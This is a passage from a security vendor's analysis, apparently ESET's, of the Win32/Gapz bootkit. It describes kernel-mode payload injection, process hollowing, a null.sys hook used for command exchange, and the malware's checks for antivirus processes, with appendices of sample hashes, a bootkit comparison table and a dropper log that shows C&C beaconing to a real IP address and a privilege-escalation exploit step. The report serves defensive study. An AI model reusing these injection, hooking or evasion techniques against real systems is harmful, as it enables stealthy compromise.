// Block 9: TCP/IP protocol

// Block 10: HTTP protocol

// OSI Model

// Application/Presentation Layer

// Network/Transport Layer

// Data Link Layer

Figure 34 – Win32/Gapz network architecture

Figure 35 – Example of socket usage in Win32/Gapz

```
**Payload Injection mechanism**

One of the main tasks of the Win32/Gapz kernel-mode module is to inject the payload into user-mode address space of the processes in the system. Here is an overview of the approach that the malware employs to achieve such functionality:

- read configuration information to determine which payload modules should be injected into specific processes and read them from hidden storage
- allocate a memory buffer in the address space of the target process in which to keep the payload image
- create and run a thread into the target process to run the loader code, which maps the payload image, initializes IAT (import address table), fixes relocations and so on.

**Payload configuration information**

In the \sys directory in hidden storage there is a configuration file specifying which payload modules should be injected into specific processes. The name of the configuration file is generated for each infected machine based on system-specific parameters. The configuration file consists of the header and a number of entries, each of which describes a target process:

![Configuration File Layout](image)

Figure 36 – Win32/Gapz injection configuration file layout
Each process entry has the following layout:

```c
struct GAPZ_PAYLOAD_CFG
{
    // Full path to payload module into hidden storage
    char PayloadPath[128];

    // name of the process image
    char TargetProcess[64];

    // Specifies load options: x86 or x64 and etc.
    unsigned char LoadOptions;

    // Reserved
    unsigned char Reserved[2];

    // Payload type: overlord, other
    unsigned char PayloadType;
};
```

The `LoadOptions` field specifies whether the payload module is a 32 or 64 bit image. The `PayloadType` field signifies whether the module to be injected is an “overlord” module (this special module is described in the section “User-mode payload interface”) or any other module. Here is an example of configuration information extracted from the hidden storage on the infected system:

![Figure 37 – Example of injection configuration file](image-url)
In the figure above we can see that there are only two modules – overlord32.dll and overlord64.dll – that should be injected into svchost.exe processes on x86 and x64 bit systems respectively.

**Injecting payload**

Once a payload module and a target process are identified, Win32/Gapz allocates a memory buffer into target process address space and copies the payload module into it. Then the malware creates a thread into the target process to run the loader code. If the operating system is Windows Vista or higher, a new thread is created when kernel-mode code merely executes undocumented routine NtCreateThreadEx:

```c
NTSTATUS NtCreateThreadEx(
    PHANDLE hThread,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    HANDLE ProcessHandle,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    BOOL CreateSuspended,
    ULONG StackZeroBits,
    ULONG SizeOfStackCommit,
    ULONG SizeOfStackReserve,
    LPVOID lpBytesBuffer
);
```

In previous operating systems versions (Windows XP, Server 2003 and so on) things are a bit more complicated. In this case the malware:

- manually allocates the stack for a new thread;
- initializes its context and TEB (Thread Environment Block);
- creates a thread structure by executing undocumented routine `NtCreateThread`;
- registers a newly created thread in CSRSS (Client/Server Runtime Subsystem) if necessary;
- executes the new thread.

The loader code is responsible for mapping the payload into a process’s address space, running some commands or applications, and is executed in user mode. Depending on payload type there are different implementations of the loader code which are described below.
**DLL loader code**

The DLL loader routine is responsible for loading/unloading DLLs. It maps an executable image into the user-mode address space of the target process, initializes its IAT, fixes relocations and executes its exported routines:

- export with ordinal 1 to initialize the loaded payload (in case of loading payload)
- export with ordinal 2 to de-initialize the loaded payload (in case of unloading payload)

This is shown for the payload module `overlord32.dll` in the figure below:

![Figure 39 – Export address table of Win32/Gapz payload](image)

The diagram below describes the routine.
Command executer code
This routine is responsible for executing commands as instructed by the loaded payload DLL module. This routine merely calls export #3 (see figure above) of the payload passing all the necessary parameters to its handler. The list of supported commands by overlord32(64).dll is presented in section (User-mode payload: overlord32(64).dll).

Exe loader code
There are two more loader routines implemented in the kernel-mode module, to run downloaded executables in the infected system. The first implementation runs the executable payload from the TEMP directory: the image is saved into the TEMP directory and the CreateProcess API is executed:
The other implementation runs the payload as follows. It creates a suspended legitimate process, then the legitimate process image is overwritten with the malicious image and the process is resumed. Here is a diagram depicting this algorithm:

- **Create legitimate suspended process** (via CreateProcessAsUser)
- **Overwrite process image with the malicious one**
- **Set process thread context according to malicious image**
- **Resume process thread**

Figure 42 – Win32/Gapz payload running algorithm
**User-mode payload interface**

To be able to communicate with the injected payload, Win32/Gapz implements a specific interface in quite an unusual way. The malware impersonates the handler of the payload requests in the null.sys driver. Here is how it does this. First, the malware sets to zero the `DriverUnload` field (this field stores a pointer to the handler that will be executed upon unloading the driver) of the DRIVER_OBJECT structure corresponding to the "\Device\Null" device object, and hooks the original `DriverUnload` routine. Then it overwrites the address of the IRP_MJ_DEVICE_CONTROL handler in the DRIVER_OBJECT with the address of the hooked `DriverUnload` routine, as shown in the figure below.

![Diagram of Win32/Gapz payload interface architecture](image)

Figure 43 – Win32/Gapz payload interface architecture
The hook checks the parameters of the IRP_MJ DEVICE_CONTROL request for specific values to determine if the request is initiated by the payload. If so, the payload interface handler is called, otherwise the original IRP_MJ DEVICE_CONTROL handler is executed. Here is the part of DriverUnload hook:

```c
hooked_ioctl = _WBBB0053->IoControlCode_HookArray;
while ( *hooked_ioctl != IoStack->Parameters.DeviceIoControl.IoControlCode )
{
    ++hooked_ioctl;
    // check if the request comes from the payload
    if ( i != IRP_MJ_SYSTEM_CONTROL )
        goto LABEL_11;
}
UserBuff = Irp->UserBuffer;
IoStack = IoStack->Parameters.DeviceIoControl.OutputBufferLength;
if ( UserBuff )
{
    _WBBB0053->rch(UserBuff, IoStack, _WBBB0053->rch_key, &h); // decrypt payload request
    if ( _UserBuff == 0x3479077 ) // check signature
    {
        hooked_ioctl = _WBBB0053;
        IoStack = 1;
        if ( *(UserBuff + 1) == _WBBB0053->IoControlCodeSubCmd_Hook[1] ) // determine the handler
        {
            _WBBB0053->IoControlCode_Hook0pc[i](UserBuff);
            _WBBB0053->rch( // encrypt the reply
                UserBuff,
                OutputBufferLength,
                _WBBB0053->rch_key,
                &h);
            &h = _WBBB0053;
        }
        _Ir = Irp;
    }
}
```

Figure 44 – Hook of DriverUnload of null.sys

The payload can send requests to Win32/Gapz kernel-mode module using the following approach:

```c
// open handle for \Device\NULL
HANDLE hNull = CreateFile(_T("\\???\NULL"), ...);
if(hNull != INVALID_HANDLE_VALUE)
{
    // Send request to kernel-mode module
    DWORD dwResult = DeviceIoControl(hNull, WIN32_GAPZ_IOCTL, InBuffer, InBufferSize,
                                        OutBuffer, OutBufferSize, &BytesRead);

    CloseHandle(hNull);
}
```
User-Mode Payload

Overlord32(64).dll
The module overlord32.dll (overlord64.dll for 64-bit process) is an essential part of Win32/Gapz and is injected into svchost.exe processes in the system. The module is distributed with the malware and during installation of the malware into the system it is stored into hidden storage. The authors took some functionality from the kernel-mode module and added it to user-mode. Overlord32(64).dll is intended to execute the following commands sent from kernel-mode:

• 0x00 – gather information about all the network adapters installed in the system and their properties and send it to kernel-mode module;
• 0x01 – Gather information on the presence of particular software in the system;
• 0x02 – Check internet connection by trying to reach update.microsoft.com;
• 0x03 – Send & receive data from a remote host using Windows sockets;
• 0x04 – Get the system time from time.windows.com;
• 0x05 – Get the host IP address given its domain name (via Win32 API gethostbyname);
• 0x06 – Get Windows shell (by means of querying “Shell” value of “Software\Microsoft\Windows NT\CurrentVersion\Winlogon” registry key).

These commands are executed by injecting “Command executor code” (see section on Injecting payload) into the address space of the process hosting the payload. The result of executing these commands by overlord32(64).dll is transmitted back into kernel mode.

Checking security-related software
On executing command 0x01 the payload creates a bitmask of particular processes running in the system. It creates a snapshot of all running processes in the system via the Win32 API, like so:

```
HANDLE WINAPI CreateToolhelp32Snapshot(
    _In_    DWORD dwFlags,
    _In_    DWORD th32ProcessID
);
```

Then it calculates a hash value for the name of each process in the snapshot. Then it compares the hashes with the list of precomputed hashes to identify the processes in which it is interested. We were able to identify some of the processes the payload scans for, and most of them are related to security software:
Table 5– Names of some security related process the malware scans for

<table>
<thead>
<tr>
<th>Process name</th>
<th>Process Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ekrn.exe</td>
<td>ESET service</td>
</tr>
<tr>
<td>tfservice.exe</td>
<td>PC Tools ThreatFire Service</td>
</tr>
<tr>
<td>pfsvc.exe</td>
<td>Privatefirewall Network Service</td>
</tr>
<tr>
<td>jpf.exe</td>
<td>Jetico Personal Firewall Control Application</td>
</tr>
<tr>
<td>ccsvchst.exe</td>
<td>Symantec Service Framework Executable</td>
</tr>
<tr>
<td>bdagent.exe</td>
<td>BDAgent Application</td>
</tr>
<tr>
<td>avp.exe</td>
<td>Kaspersky Anti-Virus</td>
</tr>
<tr>
<td>cmdagent.exe</td>
<td>Comodo Agent Service</td>
</tr>
<tr>
<td>acs.exe</td>
<td>Agnitum Outpost Service</td>
</tr>
</tbody>
</table>

**Conclusion**

In this report we presented a detailed analysis of the Win32/Gapz bootkit, which deserves to be named as the most complex bootkit seen so far in the wild. Its features include custom implementation of a TCP/IP stack in kernel-mode, ability to stay under radar of personal firewalls and antivirus software, using asymmetric cryptography to protect confidentiality and authenticity of information being exchanged with C&C server, implementing hidden storage and other features that make it very stealthy and persistent in the system. In the report we tried to answer questions relating to the malware’s design principles and implementation details and present a holistic view of this complex threat.[4]
Resources

1. TDL4 reloaded: Purple Haze all in my brain
2. Gapz and Redyms droppers based on Power Loader code
3. TDL3: The Rootkit of All Evil?
4. Hasta La Vista, Bootkit: Exploiting the VBR
5. Rovnix Reloaded: new step of evolution
6. Rovnix bootkit framework updated
7. Win32/Gapz family ring0 payload
8. NDIS Intermediate Drivers
9. Olmasco bootkit: next circle of TDL4 evolution (or not?)
10. TDL4 rebooted
11. Bootkit Threats: In-Depth Reverse Engineering & Defense
12. Defeating Anti-Forensics in Contemporary Complex Threats
14. The Evolution of TDL: Conquering x64
Appendix A: SHA1 hashes for analysed samples

In the following table are presented all the samples which were analyzed in this research:

<table>
<thead>
<tr>
<th>Detection name</th>
<th>SHA1 hash</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Win32/Gapz.A</td>
<td>1f206ea64fb3ccbe0cd7ff7972bef2592bb30c84</td>
<td>dropper</td>
</tr>
<tr>
<td>Win32/Gapz.A</td>
<td>dff6933199137cc49c2af5f73a2d431ce2e41084</td>
<td>dropper</td>
</tr>
<tr>
<td>Win32/Exploit.CVE-2011-3402.D</td>
<td>ed5b59e81b397ab053d8aa52dbb89437143a9a45</td>
<td>exploit (XP)</td>
</tr>
<tr>
<td>Win32/Exploit.CVE-2011-3402.D</td>
<td>5911487fc0b208f7884a34edfcb60a4de9a487eb</td>
<td>exploit (Win7)</td>
</tr>
<tr>
<td>Win32/Gapz.B</td>
<td>e4b64c3672e98dc78c5a356a68f89e02154ce9a6</td>
<td>dropper</td>
</tr>
<tr>
<td>Win32/Gapz.C</td>
<td>85fb77682705b06a77d73638df3b22ac1dbab78b</td>
<td>dropper</td>
</tr>
<tr>
<td>Win32/Gapz.C</td>
<td>b37af51104688ea74d279b690d8631d4c0db2ad</td>
<td>MBR</td>
</tr>
<tr>
<td>Power Loader v1</td>
<td>a189ee99eff919b7bead989c6ca252b656b61137</td>
<td>builder</td>
</tr>
<tr>
<td>Power Loader v1</td>
<td>86f4e140d21c97d5acfc9c315ef7cc2d8f11c8c94</td>
<td>dropper</td>
</tr>
<tr>
<td>Power Loader v2</td>
<td>7f7017621c13065ebe687f46ea149cd8c582176d</td>
<td>dropper</td>
</tr>
<tr>
<td>Win32/TrojanDownloader.Carberp.AM</td>
<td>41b34ac34a08a7fda4de474479f81535bf90bd70</td>
<td>dropper</td>
</tr>
<tr>
<td>Win32/Redyms.AB</td>
<td>07e73ac58bee7bdc26d289bb2697d2588a6b7e64</td>
<td>dropper</td>
</tr>
</tbody>
</table>
Appendix B: ESET HiddenFsReader as forensic tool

HiddenFsReader is a useful tool for forensic approaches to examining hidden file systems. As of the current version hidden file systems from the following list of bootkits/rootkits are already supported:

- TDL3, TDL3+, TDL4, TDL4_Purple_Haze
- Olmasco, Olmasco (SST.C)
- Olmasco.AC (MBR infection)
- Rovnix.a
- Gapz MBR/VBR
- Rovnix.B
- Flame (resources section)
- XPAJ.B
- GBPBoot

The current version of HiddenFsReader supports the dumping of MBR and VBR versions for Win32/Gapz.

The latest version of HiddenFsReader is available here: http://www.eset.com/download/utilities/detail/family/173/
Appendix C: Win32/Gapz.C debug information (DropperLog.log)

[28.03.2013 15:31:14] {PID = 576} Dropper START
[28.03.2013 15:31:14] {PID = 576; Error = 0x7fffd70000}: PEB =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c800000}: kernel32 module base =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c809ea1}: IsBadReadPtr address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c801ad4}: VirtualProtect address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c810830}: GetVersionExA address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c80aeeb}: LoadLibraryW address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c803d7b}: LoadLibraryA address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c810830}: GetProcAddress address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c810707}: CreateThread address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c80ae40}: CloseHandle address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c809be7}: CreateProcessW address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c801e1a}: TerminateProcess address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c80943c}: CreateFileMappingW address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c802336}: CreateProcessW address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c810dc9}: CreateFileW address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c8012ff}: WriteFile address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c830f97}: CopyFileW address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c810e1f}: GetFileSize address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c8329f3}: DeleteFileW address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c81473b}: MoveFileExW address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c80f1c5}: GetEnvironmentVariableW address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c839715}: GetThreadContext address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c80b9a5}: MapViewOfFile address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c801812}: ReadFile address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c8332f7}: ResumeThread address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c80b9e4}: UnmapViewOfFile address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c802f530}: WaitForSingleObject address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c809af1}: VirtualAlloc address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c809b84}: VirtualFree address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c81f2b9}: IsWow64Process address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c8023a0}: SleepEx address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c801a23}: TerminateThread address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c80a749}: CreateEventW address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c80a0b7}: SetEvent address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c80a0db}: ResetEvent address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c83973a}: SuspendThread address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c865cf7}: CreateToolhelp32Snapshot address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c801629}: WaitForSingleObject address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c80aeeb}: LoadLibraryW address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c801d7b}: LoadLibraryA address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c801812}: ReadFile address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c80aeeb}: LoadLibraryW address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c801d7b}: LoadLibraryA address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c801812}: ReadFile address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c80aeeb}: LoadLibraryW address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c801d7b}: LoadLibraryA address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c801812}: ReadFile address =
[28.03.2013 15:31:14] {PID = 576; Error = 0x7c80f015}: FindNextFileW address =

[28.03.2013 15:31:14] {PID = 576; Error = 0x7c8097d0}: GetCurrentThreadId address =

[28.03.2013 15:31:14] {PID = 576; Error = 0x7c80b56f}: GetModuleFileNameA address =

[28.03.2013 15:31:14] {PID = 576; Error = 0x7c864fcd}: Process32First address =

[28.03.2013 15:31:14] {PID = 576; Error = 0x7c865140}: Process32Next address =

[28.03.2013 15:31:14] {PID = 576; Error = 0x7c8114aa}: lstrcatW address =

[28.03.2013 15:31:14] {PID = 576; Error = 0x7c811106}: SetFilePointer address =

[28.03.2013 15:31:14] {PID = 576; Error = 0x7c810156}: CreateSemaphoreW address =

[28.03.2013 15:31:14] {PID = 576; Error = 0x7c80ac7e}: FreeLibrary address =

[28.03.2013 15:31:14] {PID = 576; Error = 0x7c813242}: GetTempPathW address =

[28.03.2013 15:31:14] {PID = 576; Error = 0x7c8119e}: SetThreadAffinityMask address =

[28.03.2013 15:31:14] {PID = 576; Error = 0x7c82da70}: SetPriorityClass address =

[28.03.2013 15:31:14] {PID = 576; Error = 0x7c802446}: Sleep address =

[28.03.2013 15:31:14] {PID = 576; Error = 0x7c801af5}: LoadLibraryExW address =

[28.03.2013 15:31:14] {PID = 576; Error = 0x7c900000}: ntdll.dll module base =

[28.03.2013 15:31:14] {PID = 576; Error = 0x7c90d51e}: ZwMapViewOfSection address =

[28.03.2013 15:31:14] {PID = 576; Error = 0x7c91632d}: LdrLoadDll address =

[28.03.2013 15:31:14] {PID = 576; Error = 0x7c90cfee}: ZwClose address =

[28.03.2013 15:31:14] {PID = 576; Error = 0x7c910346}: RtlImageDirectoryEntryToData address =

[28.03.2013 15:31:14] {PID = 576; Error = 0x7c936a72}: RtlAddVectoredExceptionHandler address =

[28.03.2013 15:31:14] {PID = 576; Error = 0x7c936ade}: RtlRemoveVectoredExceptionHandler address =

[28.03.2013 15:31:14] {PID = 576; Error = 0x77dd0000}: advapi32.dll module base =

[28.03.2013 15:31:14] {PID = 576; Error = 0x77df4457}: ConvertStringSidToSidW address =

[28.03.2013 15:31:14] {PID = 576; Error = 0x77dd7cc9}: AllocateAndInitializeSid address =

[28.03.2013 15:31:14] {PID = 576; Error = 0x77dd707a}: EqualSid address =

[28.03.2013 15:31:14] {PID = 576; Error = 0x77df000c}: AdjustTokenPrivileges address =

[28.03.2013 15:31:14] {PID = 576; Error = 0x77de5549}: GetContextThread address =

[28.03.2013 15:31:14] {PID = 576; Error = 0x77de5582}: GetThreadExecuteState address =

[28.03.2013 15:31:14] {PID = 576; Error = 0x77dd7305}: GetTokenInformation address =
[28.03.2013 15:31:21] {PID = 576} server_http_init() start
[28.03.2013 15:31:21] {PID = 576} server_http_init() end
[28.03.2013 15:31:21] {PID = 576}
AAwpLkvkeZENOQiNzg4LUuwMzEtNEM3Qy04ODYxLdBNuZFTc2QjNB Mn1NUyBU[1|0.8.10|5.1.3.0|0|1]0|rgRzAs eAJID5E
[0]
[28.03.2013 15:31:21] {PID = 576}
http://88.198.128.3:1122/?ski7YG5GSlu19TK=F1aiyUa17uGCSAk rbaeB+mfvYwrc0uULMDe5rVic47vA b8w0UAQicEwIUSrJPEoG
Oe9LMXVCksL+sqaAF9BqPv nz6bLrdz6AsYuf6rILW/yS4k6tOH18M8uQuueE49gRkvGY8A7M=
[28.03.2013 15:31:28] {PID = 576; Error = 0x2efd}: server_http_real_send() WinHttpSendRequest Failed! Error:
[28.03.2013 15:31:28] {PID = 576} server_http_real_send() end
[28.03.2013 15:31:28] {PID = 576; Error = 0x7ffd7000}: PEB =
[28.03.2013 15:31:28] {PID = 576} JeticoDetect() start
[28.03.2013 15:31:28] {PID = 576; Error = 0x7ffd7000}: PEB =
[28.03.2013 15:31:28] {PID = 576; Error = 0x7ffd7000}: PEB =
[28.03.2013 15:31:30] {PID = 576} ph_detect_osss() start
[28.03.2013 15:31:30] {PID = 576} ph_detect_osss() end
[28.03.2013 15:31:30] {PID = 576} ph_detect_osss() end
[28.03.2013 15:31:30] {PID = 576} C:\Program Files\Agnitum\*
[28.03.2013 15:31:30] {PID = 576} C:\WINDOWS\System32\svchost.exe
[28.03.2013 15:31:31] {PID = 576; Error = 0x8e4}: common_inject_shellcode(): Zombi Process ID =
[28.03.2013 15:31:31] {PID = 576; Error = 0x1000000}: common_inject_shellcode() : ImageBase of hijacked image
[28.03.2013 15:31:31] {PID = 576} Dropper SUCCESS
[28.03.2013 15:31:31] {PID = 576} Dropper as EXE finished
[28.03.2013 15:31:31] {PID = 2276} Dropper START
[28.03.2013 15:31:31] {PID = 2276; Error = 0x10027b7}: Dropper as DLL
[28.03.2013 15:31:31] {PID = 2276; Error = 0x7ffd8000}: PEB =
[28.03.2013 15:31:31] {PID = 2276} svchost.exe
[28.03.2013 15:31:31] {PID = 2276} server_http_init() start
[28.03.2013 15:31:31] {PID = 2276} server_http_init() end
[28.03.2013 15:31:31] {PID = 2276}
AAwpLkvkeZENOQiNzg4LUuwMzEtNEM3Qy04ODYxLdBNuZFTc2QjNB Mn1NUyBU[2|0.8.10|5.1.3.0|0|1]0|ylE3CNKniERvw
voZ0
[28.03.2013 15:31:31] {PID = 2276} http://88.198.128.3:1122/?ski7YG5GSlu19TK=F1aiyUa17uGCSAk rbaeB+mfvYwrc0uULMDe5rVic47vA b8w0UAQicEwIUSrJPEoG
Oe9LMXVCksL+sqaAF9BqPv nz6bLrdz6AsYuf6rILW/yS4k6tOH18M8uQuueE49gRkvGY8A7M=
[28.03.2013 15:31:31] {PID = 2276} server_http_real_send() start
[28.03.2013 15:31:39] {PID = 2276; Error = 0x2efd}: server_http_real_send() WinHttpSendRequest Failed! Error:
[28.03.2013 15:31:39] {PID = 2276} server_http_real_send() end
[28.03.2013 15:31:39] {PID = 2276} ph_detect_osss() start
[28.03.2013 15:31:39] {PID = 2276} ph_detect_osss() end
[28.03.2013 15:31:39] {PID = 2276} common_thread start
[28.03.2013 15:31:39] {PID = 2276} common_thread start
[28.03.2013 15:31:39] {PID = 2276; Error = 0x7ffd8000}: PEB =
[28.03.2013 15:31:39] {PID = 2276} LZMADecompress start!
[28.03.2013 15:31:39] {PID = 2276; Error = 0x595f9}: LZMADecompress end!
[28.03.2013 15:31:39] {PID = 2276} 32-bit part of payload verified successfully!
[28.03.2013 15:31:39] {PID = 2276} 64-bit part of payload verified successfully!
[28.03.2013 15:31:39] {PID = 2276} Generating temp file...
[28.03.2013 15:31:39] {PID = 2276} \??\C:\Documents and Settings\user\Local Settings\Temp\abc8C4A.tmp
[28.03.2013 15:31:39] {PID = 2276; Error = 0x8640}: LoadAndGetKernelBase() NtQuerySystemInformation complete
[28.03.2013 15:31:39] {PID = 2276; Error = 0x8640}: LoadAndGetKernelBase() _VirtualAlloc complete
[28.03.2013 15:31:39] {PID = 2276; Error = 0x8640}: LoadAndGetKernelBase() NtQuerySystemInformation complete
[28.03.2013 15:31:39] {PID = 2276; Error = 0x8640}: LoadAndGetKernelBase() NtQuerySystemInformation complete
[28.03.2013 15:31:39] {PID = 2276; Error = 0x8640}: LoadAndGetKernelBase() NtQuerySystemInformation complete
[28.03.2013 15:31:39] {PID = 2276} \WINDOWS\system32\ntkrnlpa.exe
[28.03.2013 15:31:39] {PID = 2276; Error = 0x80545000}: LoadAndGetKernelBase(): ExAllocatePoolWithTag
[28.03.2013 15:31:39] {PID = 2276; Error = 0x805369f0}: LoadAndGetKernelBase(): krnl_memcpy
[28.03.2013 15:31:39] {PID = 2276; Error = 0x804f9614}: LoadAndGetKernelBase(): KeDelayExecutionThread
[28.03.2013 15:31:39] {PID = 2276; Error = 0x804f9614}: LoadAndGetKernelBase(): _VirtualAlloc
[28.03.2013 15:31:39] {PID = 2276} exploit_fire_afd() start
[28.03.2013 15:31:40] {PID = 2276} exploit_fire_afd() end
[28.03.2013 15:31:40] {PID = 2276} check_priveleges() start
[28.03.2013 15:31:40] {PID = 2276} OpenProcessToken success
[28.03.2013 15:31:40] {PID = 2276} SeLoadDriverPrivilege
[28.03.2013 15:31:40] {PID = 2276} SeUndockPrivilege
[28.03.2013 15:31:40] {PID = 2276} check_user_token_in_groups() start
[28.03.2013 15:31:40] {PID = 2276} Administrators
[28.03.2013 15:31:40] {PID = 2276} FULL ADMIN RIGHTS!!!
[28.03.2013 15:31:40] {PID = 2276} Bootkit was installed at the ending of partition!
[28.03.2013 15:31:47] {PID = 2276} Dropper as DLL finished
## Appendix D: Comparison of modern bootkits

<table>
<thead>
<tr>
<th>Functionality</th>
<th>Gapz</th>
<th>Olmarik (TDL4)</th>
<th>Rovnix (Cidox)</th>
<th>Goblin (XPAJ)</th>
<th>Olmasco (MaxSS)</th>
</tr>
</thead>
<tbody>
<tr>
<td>MBR modification</td>
<td>✔</td>
<td>✔</td>
<td>✗</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>VBR modification</td>
<td>✗</td>
<td>✗</td>
<td>✔</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>Hidden file system type</td>
<td>FAT32</td>
<td>Custom</td>
<td>FAT16 modification</td>
<td>Custom (TDL4 based)</td>
<td>Custom</td>
</tr>
<tr>
<td>Crypto implementation</td>
<td>AES-256, RC4, MD5, SHA1, ECC</td>
<td>XOR/RC4</td>
<td>Custom (XOR+ROL)</td>
<td>✗</td>
<td>RC6 modification</td>
</tr>
<tr>
<td>Compression algorithm</td>
<td>✔</td>
<td>✗</td>
<td>☐</td>
<td>aPlib</td>
<td>☐</td>
</tr>
<tr>
<td>Custom TCP/IP network stack Implementation</td>
<td>✔</td>
<td>✗</td>
<td>☐</td>
<td>☐</td>
<td>☐</td>
</tr>
</tbody>
</table>